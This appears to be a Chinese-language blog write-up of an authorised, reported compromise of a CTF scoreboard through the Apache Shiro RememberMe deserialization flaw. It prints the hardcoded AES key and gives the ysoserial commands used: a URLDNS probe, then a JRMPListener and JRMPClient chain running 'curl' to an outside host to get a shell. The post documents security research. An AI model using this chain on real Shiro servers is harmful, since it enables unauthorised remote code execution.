利用Java JRMP Gadget攻破CTF平台的技术分析

本文详细分析了如何通过Java JRMP Gadget利用Apache Shiro反序列化漏洞,实现远程代码执行并攻破CTF计分板平台,涉及漏洞确认、Gadget选择及利用过程。

Pwn a CTF Platform with Java JRMP Gadget

打CTF打腻觉得没啥新鲜感吗?来试试打掉整个CTF计分板吧!

前几个月,刚好看到某个大型CTF比赛开放注册,但不允许台湾参加有点难过 :( 看着官网最下面发现是FlappyPig所主办,又附上GitHub源代码,秉持着练习Java code review的精神就git clone下来找洞了!

(以下测试皆在FlappyPig的允许下友情测试,漏洞回报官方后也经过同意发文)

在有源代码的状况下进行Java的code review,第一件事当然是去了解第三方Libraries的相依性。关于Java的生态系统我也在几年前的文章小小分享过,当有个底层函数库出现问题时是整个上层的应用皆受影响!

从pom.xml观察发现用了:

  • Spring Framework 4.2.4:从版本来看似乎很棒没什么重大问题
  • Mybatis 3.3.1:一个Java ORM,似乎也没看到用法有问题
  • Jackson 2.7.1:出过反序列化漏洞,不过enableDefaultTyping没启用,也无直接收取JSON输入无法触发漏洞
  • Apache Shiro 1.2.4:【漏洞分析】Shiro RememberMe 1.2.4反序列化导致的命令执行漏洞。hmmm,真好连版本都是对的,不过当然没有这么简单XD

既然有现成的洞,当下即开始针对Shiro进行研究。首先遇到的第一个问题是照着文章内PoC的方式解密会发现失败,看来是有自己修改过的怎么办QQ?不过翻着翻着源代码在src/main/resources/spring-shiro.xml看到:

真开心XD

把AES Key更正后解回来的东西有AC ED开头看起来是序列化过后的资料,真棒:

1
2
3
4
5
6
7
$ python decrypt.py cGhyYWNrY3RmREUhfiMkZA== | xxd 
00000000: 9373 1385 4bb7 526f 7a97 f7c5 1e17 0da3  .s..K.Roz.......
00000010: aced 0005 7372 0032 6f72 672e 6170 6163  ....sr.2org.apac
00000020: 6865 2e73 6869 726f 2e73 7562 6a65 6374  he.shiro.subject
00000030: 2e53 696d 706c 6550 7269 6e63 6970 616c  .SimplePrincipal
00000040: 436f 6c6c 6563 7469 6f6e a87f 5825 c6a3  Collection..X%..
...

接着就是产Gadget丢到远程服务器拿shell,但在这步怎么也无法成功利用,有点残念只好再继续研究下去!

当时的猜想是:Apache Shiro是一套实现身份验证的Library,而实现的方式可能有定义自己的ClassLoader因此导致现有的Gadget无法使用。

(尚无查证,不过在拿到shell后看到这篇文章Exploiting JVM deserialization vulns despite a broken class loader证明猜想也许是对的,不过这篇也没实现RCE XD)

虽然无法跳至Common Collection但至少还有JRE本身的Gadget可以跳去做二次利用!

纵观ysoserial除了JRE本身的洞外可利用的Gadget所剩无几,先来试试URLDNS至少先确认漏洞存在再说!

1
$ java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://mydnsserver.orange.tw/ | python exp.py

发现DNS有回显至少确认漏洞存在了,再继续往下利用!下一步我选的Gadget则是JRMPClient,由于JRMP是位于RMI底下的一层实现,所以走的也是反序列化的协议,“纯猜测”也许在这里使用ClassLoader就不会是Apache Shiro而是原本的ClassLoader。

(未查证,如有人可以帮忙查证请告诉我结果XD)

但这里又遇到一个问题是如何实现一个JRMP Server去接送过来的Protocol?网络上并没有人提供JRMPClient要如何使用的教学及利用方式!本来想要手刻但找着找着资料找回ysoserial上的JRMPListener.java,读了一下源代码才惊觉ysoserial真棒,各种模块化及利用都帮你写好了!

ysoserial分为两个部分,payload以及exploit,平常都只有用到产payload的部分而已,但实际上作者有写好几份可直接利用的exploit并模块化,让我们可以直接利用!

所以最后的利用则是:

1
2
3
4
5
$ java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'curl orange.tw'
# listen 一个 RMI server 走 JRMP 协议在 12345 port 上

$ java -jar ysoserial-master-SNAPSHOT.jar JRMPClient '1.2.3.4:12345'  | python exp.py
# 使用 JRMPClient 去连接刚刚 listen 的 server

如此一来就可以获得shell惹!

2018/03/27 01:23, Update

经过比较详细的分析,一开始失败的详细原因真是如同文章所说Shiro自己实现了一个Buggy的ClassLoader。所以payload当中出现ChainedTransformer或是InvokerTransformer都会出现Unable to deserialize argument byte array错误。而内置的URLDNS及JRMPClient刚好没用到上述方式实现Gadget所以可以使用!所以理论上透过RMI或是JDNI的方式应该也可以成功!

2018/03/27 10:09, Update

留言中有人给出了更详细的root cause! - “Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class。” 感谢帮忙解惑 <(_ _)>

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计